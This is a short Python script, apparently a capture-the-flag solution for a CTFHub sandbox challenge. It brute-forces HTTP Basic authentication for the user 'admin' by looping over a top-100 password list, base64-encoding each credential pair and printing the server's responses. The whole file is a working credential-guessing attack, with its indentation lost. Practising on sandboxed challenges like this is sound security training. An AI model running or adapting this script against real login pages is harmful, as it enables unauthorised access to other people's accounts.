import urllib.request
import base64
url = 'http://challenge-cce29283afbfda7d.sandbox.ctfhub.com:10800/flag.html'
user = 'admin'
password_list = open('./10_million_password_list_top_100.txt', 'r').readlines()
for i in range(0,len(password_list)):
passwd = password_list[i][:-1]
print(passwd)
req = urllib.request.Request(url)
basestr = base64.b64encode(('%s:%s' % (user, passwd)).encode(encoding = 'utf-8')).decode('utf-8')
print(basestr)
req.add_header('Authorization', 'Basic %s' % (basestr))
try:
f = urllib.request.urlopen(req).read()
print(f)
except:
print(' no \n')
pass